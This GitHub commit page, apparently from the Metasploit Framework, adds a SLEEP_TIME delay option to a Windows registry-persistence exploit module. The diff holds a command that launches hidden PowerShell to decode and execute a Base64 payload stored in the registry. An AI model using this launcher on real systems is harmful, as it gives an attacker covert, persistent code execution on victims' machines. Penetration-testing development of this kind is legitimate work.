Skip to content

Commit fc16a90

Browse files
committed
Land rapid7#6252, Add SLEEP_TIME option for registry_persistence.rb
2 parents 089a006 + 3c72135 commit fc16a90

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

modules/exploits/windows/local/registry_persistence.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,8 @@ def initialize(info = {})
5353
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
5454
OptBool.new('CREATE_RC',
5555
[false, 'Create a resource file for cleanup', true]),
56+
OptInt.new('SLEEP_TIME',
57+
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
5658
], self.class)
5759
end
5860

@@ -66,7 +68,7 @@ def generate_payload_blob
6668
end
6769

6870
def generate_cmd(root_path, blob_key_name, blob_key_reg)
69-
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
71+
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
7072
return cmd
7173
end
7274

0 commit comments

Comments
 (0)